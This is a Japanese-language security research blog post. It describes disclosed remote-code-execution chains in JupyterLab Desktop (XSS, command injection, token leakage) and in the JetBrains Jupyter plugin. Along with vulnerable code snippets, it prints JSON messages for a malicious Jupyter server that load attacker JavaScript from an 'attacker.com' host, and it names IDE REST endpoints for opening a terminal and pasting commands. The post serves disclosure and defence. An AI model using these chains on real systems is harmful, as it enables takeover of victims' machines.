Jupyterノートブックは、データサイエンティスト、研究者、開発者にとって強力なツールであり、AIやデータサイエンスの人気の高まりによってその利用が促進されています。ノートブックと呼ばれる単一のドキュメント内で、ライブコード、説明文、数式、可視化を組み合わせた柔軟でインタラクティブな環境を提供し、迅速なプロトタイピング、データ探索、再現可能な研究を可能にします。
私たちの最新の研究では、従来のWebベースのサーバーの機能を超えた拡張性を備えた、2つの人気のあるJupyter実装、JupyterLab DesktopとJetBrains Jupyterプラグインに焦点を当てました。攻撃者が最小限のユーザー操作で被害者のマシンを完全に乗っ取ることができる重大な脆弱性を発見しました。このブログ記事では、これらの脆弱性の詳細、攻撃者がそれらをどのように悪用できたか、そしてそれらがどのように修正されたかについて説明します。
影響
JupyterLab Desktopで発見された脆弱性には、クロスサイトスクリプティング(XSS)、コマンドインジェクション、トークン漏洩(CVE-2025-59842)が含まれており、攻撃者が被害者のマシン上で任意のコードを実行できるようになります。これは、ユーザーが任意のJupyterサーバーに接続した場合や、信頼されていないモードで悪意のあるノートブック内のリンクをクリックした場合に発生します。
JetBrainsのJupyterプラグインでは、環境に依存するXSSがリモートコード実行(CVE-2026-25847)につながります。最悪の場合、JetBrains IDEでノートブックタブを開いている被害者が悪意のあるウェブサイトにアクセスすると、リモートコード実行の危険性があります。
これらのリスクを軽減するため、ユーザーには最新バージョンへの更新を強く推奨します。JetBrains Jupyterプラグインの脆弱性は、PyCharm 2025.3.2(CVE-2026-25847)で修正されました。JupyterLab Desktopはもはや積極的にメンテナンスされておらず、セキュリティ更新も提供されていないため、ユーザーには代替手段への移行を推奨します。
以下の動画では、攻撃者がこれらの脆弱性をどのように悪用できたかが示されています:
データだけではない:Jupyterノートブックの隠れたセキュリティリスク
技術的詳細
背景
Jupyterエコシステムは、開発者や研究者にインタラクティブなコンピューティングと再現可能な研究を提供するために設計された、オープンソースプロジェクトの集合体です。詳細には立ち入らず、脆弱性の詳細に入る前に知っておくべき重要なコンポーネントを以下に示します:
- 従来のJupyter Notebookは、ライブコード、説明文、数式、可視化を組み合わせるための、シンプルでドキュメント中心のインターフェースを提供するウェブベースのアプリケーションです。
- その進化形であるJupyterLabは、複数のノートブック、ターミナル、その他のツールを単一のカスタマイズ可能なワークスペースで操作できる、よりモダンでIDEのようなインターフェースです。
- システム全体はJupyter Serverによって駆動されており、これはユーザーインターフェースと「カーネル」と呼ばれる別のプロセス間の通信を管理するバックエンドサーバーです。カーネル(オペレーティングシステムのカーネルとは異なります)は、実際にコードを実行するものです。最も一般的なカーネルはPython用のIPythonですが、RやJuliaなどの異なる言語用のカーネルも存在します。ノートブックインターフェースは、記述されたコードをサーバーに送信し、それを適切なカーネルに中継して実行します。

Jupyterエコシステムのアーキテクチャについてさらに詳しくはこちらをご覧ください: https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html
その人気のおかげで、多くのIDEがJupyter Notebook形式をサポートするようになりました。例えば、Visual Studio CodeのJupyter拡張機能は非常に人気があり、1億回以上のダウンロードを誇り、市場で最もダウンロードされた拡張機能の1つです。
JupyterLab Desktop:XSSからコマンドインジェクションへ
JupyterLab Desktopは、ユーザーがJupyterLabをWebベースのサーバーではなく、スタンドアロンのデスクトップアプリケーションとして実行できるクロスプラットフォームアプリケーションです。Electronで記述されており、セキュリティプラクティスを考慮して、JupyterLab Desktopは`nodeIntegration: false`および`contextIsolation: true`の設定で安全に構成されており、JavaScriptコードの機能を制限しています。
さらに、セキュリティモデルでは各ビューを別々のエンティティとして分離し、各ウィンドウに必要なIPCメソッドのみを公開しています:

例えば、settingsdialogウィンドウは、welcomeviewウィンドウとは異なるIPCメソッドを公開します。これにより、最小権限モデルが確保され、攻撃者が特定のウィンドウを侵害したとしても、その機能は制限されます。
露出制限に加え、一部のIPCリスナーは受信側で保護メカニズムを実装し、リクエストの発信元が意図したウィンドウであることを確認します。例として、IPCのEventTypeMain.InstallBundledPythonEnvは、攻撃者によって呼び出された場合にコードが実行される可能性があるため、_managePythonEnvDialogウィンドウのみがアクションを実行できることを確認します:
this._evm.registerEventHandler(
EventTypeMain.InstallBundledPythonEnv,
async (event, envPath: string) => {
// for security, make sure event is sent from the dialog when path is specified
if (
envPath &&
event.sender !== this._managePythonEnvDialog?.window?.webContents
) {
return;
}調査の過程で、WelcomeViewおよびRemoteServerSelectDialogウィンドウにXSSの脆弱性を発見しました。これは、ユーザーがリモートサーバーに接続しようとする際に発生します:

ユーザーが指定したURLは、RemoteServerSelectDialogのサーバーリストに、エンコードやサニタイズ処理なしに挿入されます:
menuItem.innerHTML = server.url + `<svg class="delete-button" ...`また、WelcomeViewの「最近のセッション」ツールチップにも:
tooltip = `${recentSession.remoteURL}\nSession data ...`その結果、両方のウィンドウでXSSが発生します。
WelcomeViewウィンドウは、攻撃者の観点から特に強力です。なぜなら、sendMessageToMain関数を使用して任意のIPCメッセージを送信できるからです。一部のIPCリスナーは(前述のように)リクエストを開始したウィンドウを確認しますが、興味深いことに、開始ウィンドウを確認しないIPCリスナーも存在します:set-server-launch-args。JupyterLab Desktopが読み込まれると、指定された値は引数としてコマンド文字列に連結され、実行されるため、コマンドインジェクションの脆弱性が存在します:
if (serverInfo.serverArgs) {
launchCmd += ` ${serverInfo.serverArgs}`;
}
//...
script = `
//...
${launchCmd}`;
}
//...
launchScriptPath = createTempFile(`launch.${ext}`, script);
//...
execFile(launchScriptPath, execOptions)これを即座に実行するために、攻撃者はアプリケーションを再起動するための別のIPC呼び出しを使用できます:
electronAPI.sendMessageToMain("restart-app")これらをすべて組み合わせると、攻撃者は被害者にサーバーURLに接続するよう説得する必要があります。この脆弱性を悪用するために、攻撃者が制御するJavaScriptコードがWelcomeViewウィンドウで実行され、IPC呼び出しでのコマンドインジェクションを使用して、被害者のマシン上で任意のコマンドを実行します。
JupyterLabデスクトップ:トークン漏洩によるリモートコード実行(CVE-2025-59842)
これまで、最も権限の高いウィンドウの1つであるWelcomeViewの脆弱性について説明してきましたが、今回は最も制限の厳しいウィンドウとその制限を回避する方法に焦点を当てましょう。その前に、Jupyterに関するいくつかの概念を明確にしておきましょう:
- クライアント・サーバーの分離:前述の通り、Jupyter環境は基本的に2つの異なるプロセスに分かれています:
- クライアント(Jupyterノートブック/ラボ):ユーザーが利用するグラフィカルアプリケーションであり、ユーザーインターフェースとファイル管理を担当します。
- サーバー(Jupyterサーバー):実際のコード実行を担当するコンポーネントです。
- Jupyterサーバーの認証:Jupyterサーバーはコードを実行するため、不正アクセスを防ぐ必要があります。Jupyterを実行する組織が認証/認可フローを設定する方法はいくつかありますが、デフォルトではJupyterサーバーはトークン認証を使用します。起動時に一意のランダムなトークンが生成されます。このトークンは、URLクエリパラメータまたは各リクエスト内のAuthorizationヘッダーを使用してサーバーに提供できます。
- デスクトップでのデフォルトのファイル処理:JupyterLab Desktopをインストールすると、Jupyterノートブックファイル(.ipynb)のデフォルトのハンドラーとして設定されます。ノートブックファイルを開くと、アプリケーションは新しい専用のローカルJupyterサーバーインスタンスを起動します。このサーバーはランダムなポートで実行され、前述のデフォルトのトークン認証メカニズムを使用します。したがって、コードはローカルで表示および実行されますが、実際には2つの異なるコンポーネントが使用されています。
- ノートブックの信頼モデル:ノートブックファイルは頻繁に共有されるため、ユーザーは他者が作成したノートブックを頻繁に開きますが、これにはセキュリティリスクが伴います(例:表示時に悪意のあるコードが実行される)。これを軽減するために、Jupyterは信頼モデルを採用しています:
- ノートブックは当初「信頼されていない」とみなされ、最初に開いた際に潜在的に悪意のあるコードが即座に実行されるのを防ぎます。
- ノートブックは、ユーザーがその中のコードセルを明示的に実行した後にのみ「信頼済み」となります。一度信頼されると、特定のドキュメントでコードを実行する意図を確認するために、一意の署名がローカルデータベースに保存されます。
ユーザーがJupyterセッションに接続する際、リモートかローカルかを問わず、JupyterLab DesktopはLabViewウィンドウを使用します。このウィンドウは、そのコンテキストにおいて設計上任意のJavaScriptコードを実行できるため、信頼されていないものとみなされます。そのため、公開されているIPCメソッドは以下の通りです:
- getServerInfo - 宛先サーバーに関する情報を返します。
- broadcastLabUIReady - UIが読み込まれたことをブロードキャストします。
一見すると、これらはセキュリティ上の問題を引き起こすようには見えません。しかし、宛先の変更(リダイレクト、ユーザーのナビゲーションなど)に関係なく、getServerInfoは常に初期の宛先の完全なURLを返します。
ここにgetServerInfoのリスクがあります。攻撃者がローカルノートブックのウィンドウの宛先を悪意のあるWebサイトに変更できれば、このIPC呼び出しを実行して、被害者のローカルJupyterサーバーインスタンスのランダム化されたポートとトークンを漏洩させることができます。トークンはURLのパラメータとして反映されます。
> electronAPI.getServerInfo().then(a=>{console.log(a)})
>>> {type: 'local', environment: {…}, workingDirectory: '/Users/user', defaultKernel: 'python3', url: 'http://localhost:61182/lab?token=jlab:srvr:2c9b07607d444de9d593345532bc78b454adfa'}しかし、被害者が共有ノートブックを開くと、最初は「信頼されていない」とみなされ、信頼されていないノートブックはJavaScriptの実行を防ぐためにサニタイズされます。さらに、アンカー要素にはtarget=_blankおよびnoopener属性が追加されており、クリックすると新しいウィンドウが開き、ノートブックからLabViewウィンドウへのIPCメソッドや参照は存在しません。
しかし、Jupyterノートブックがアンカー要素の属性を追加し忘れたパスが1つありました。ユーザーが数式を書くためにLaTeX構文をサポートするため、JupyterはJavaScriptのMathJaxパッケージを使用しています。拡張機能をサポートしています。html拡張機能のおかげで、ユーザーは\href{url}{math}構文を使用してリンクを作成できます。これにより、「サニタイズされていない」アンカー要素が生成されます (MathJax側ではURLスキームのみがサニタイズされます)。このリンクをクリックすると、ノートブックの同じウィンドウ内でリダイレクトされ、次の宛先でgetServerInfoを呼び出すことで、サーバーに関する機密情報が漏洩する可能性があります。

サーバーが認証方法としてトークンを使用しているため、Jupyterサーバーはデフォルトでトークンを使用する場合、クロスオリジンリソース共有(CORS)リクエストを許可します。そのため、攻撃者はJupyterサーバーの公開されているREST APIを悪用して、新しい悪意のあるノートブックをアップロードし、「信頼済み」状態に設定した後、そのノートブックに移動することで、被害者のマシン上で任意のコードを実行することが可能です。
JetBrainsのJupyterプラグイン:組み込みサーバーのXSSによるコード実行(CVE-2026-25847)
これまで、公式のJupyterLab Desktopアプリケーションについて見てきましたが、前述のように、Jupyterの人気のおかげで、多くのIDEがJupyter Notebook形式をサポートしています。PyCharmやIntelliJなどの人気IDEを提供するJetBrainsは、ノートブック機能を開発環境に直接統合するJupyterプラグインを提供しており、PyCharmにはデフォルトでバンドルされています。
JetBrains IDEが実行されているとき、組み込みサーバーがバックグラウンドでポート63342で起動します(ポートが占有されている場合は、利用可能なポートに到達するまでポート番号がインクリメントされます)。このサーバーは、ブラウザでのファイル表示やJetBrains Marketplaceウェブサイトからのプラグインインストールなど、さまざまな機能に使用されます。さらに、プラグインはplugin.xmlファイル内でエンドポイントハンドラーを定義し、ブラウザやREST APIを介してこのサーバーを利用してカスタムタスクを実行できます。
このサーバーは、ローカルファイルの表示など機密性の高いタスクを実行するため、信頼できない主体による特定のリクエストの実行を防ぐための保護措置がいくつか設けられています。主な保護措置はisAccessible関数であり、OriginまたはRefererヘッダーをチェックすることで、リクエストが信頼できるウェブサイト(例:JetBrains固有のドメインやlocalhost)から行われたかどうかを確認します。
公式のプラグインがインストールされたIDEでJupyterノートブックを表示すると、ノートブックは/jupyter/index.html?url=<jupyter-server-ws-url>にあるカスタムサーバーエンドポイントを使用してレンダリングされます。urlパラメータはJupyterサーバーのWebSocket宛先を指しています。興味深いことに、urlパラメータには検証が行われておらず、クライアントが任意のWebSocket URLに接続できるようになっていました。
しかし、攻撃者はこれをどのように悪用できるのでしょうか?コードを実行するコンポーネントはJupyterサーバーであることがわかりました。では、悪意のあるサーバーはクライアントに対してどのような操作が可能なのでしょうか?
ここで、もう1つのJupyterコアコンポーネントであるJupyter Widgetsについて紹介する必要があります。スライダー、ボタン、マップなどのカスタムインタラクティブコントロールをノートブックに直接埋め込むことができ、開発者がより動的なダッシュボードやユーザーインターフェースを作成できるようにします。これにより、静的なノートブックがインタラクティブなツールへと変わります。ウィジェットはクライアント側で実行されるため、そのコードの大部分はJavaScriptで記述されています。
したがって、攻撃者は悪意のあるJupyterサーバーを作成し、次のようなメッセージを送信することができます:
クリップボードにコピー
{"type":"ScriptManagerMessage","code":"IPyWidgets_BaseUrl_Response","payload":"http://attacker.com:8000"}
{"type":"ScriptManagerMessage","code":"IPyWidgets_WidgetScriptSource_Response","payload":{"moduleName":"test","source":"http://example.com","scriptUri":"test.js"}}
{"header": {"msg_type":"comm_open"}, "content":{"comm_id":"setset","target_name":"jupyter.widget","data":{"state":{"_model_name":"test","_model_module":"test","_model_module_version":"2"}}},"metadata": {"version":"2"}}- 最初のメッセージ「IPyWidgets_BaseUrl_Response」は、require.jsのベースURLを攻撃者のサーバーURLに設定します。
- 2番目のメッセージ「IPyWidgets_WidgetScriptSource_Response」は、ウィジェットに関する情報を設定し、名前(test)とスクリプト URI(test.js)を定義します。
- 最後に、comm_open メッセージで、サーバーは UI にウィジェットをロードするよう要求します。前に設定したウィジェット名(test)を使用することで、ノートブックは攻撃者の JavaScript コードを取得して実行します。
これにより、ユーザーが悪意のあるリンクにアクセスすると、XSSが発生します。JetBrains IDEのコンテキストでは、この脆弱性により、ローカルサーバーの重要なisAccessible関数を迂回することが可能になります。
この攻撃の影響は、組み込みのJetBrainsサーバーで利用可能な機能によって異なる場合があります。攻撃者はさまざまなアクションを実行できます。この攻撃による最悪の影響を示すために、公式のStream Deckプラグインをインストールしました。これにより、ターミナルを開く(/api/action/Terminal.OpenInReworkedTerminal)やターミナルにコマンドを貼り付ける(/api/action/Terminal.Paste)など、REST APIを使用して多くの強力なIDEアクションを実行できます。これをXSSと組み合わせることで、攻撃者は悪意のあるウェブサイトにアクセスするだけで、被害者のマシン上で任意のコードを実行できるようになります。
タイムライン
要約
このブログ記事では、Jupyterクライアントツールに見られる一見単純なXSS脆弱性が、いかにしてシステム全体の乗っ取りへとエスカレートし得るかを検証しました。これをトークン漏洩やコマンドインジェクションと組み合わせることで、攻撃者は、被害者に悪意のあるノートブックを開かせたり、不正なサーバーに接続させたりするだけで、リモートコード実行を実現できてしまいます。
ノートブックが現代のAIやデータサイエンスのワークフローにおいて標準的な要素となるにつれ、ノートブックを開くために使用するクライアントサイドのツールについても、ノートブック内で記述するコードと同等のセキュリティ上の精査が必要となります。結局のところ、信頼できないノートブックは、信頼できない実行ファイルとまったく同じ注意を払って扱うべきです。
最後に、これらの問題に対処し、パッチを適用してくださったベンダーであるJupyterおよびJetBrainsに感謝申し上げます。

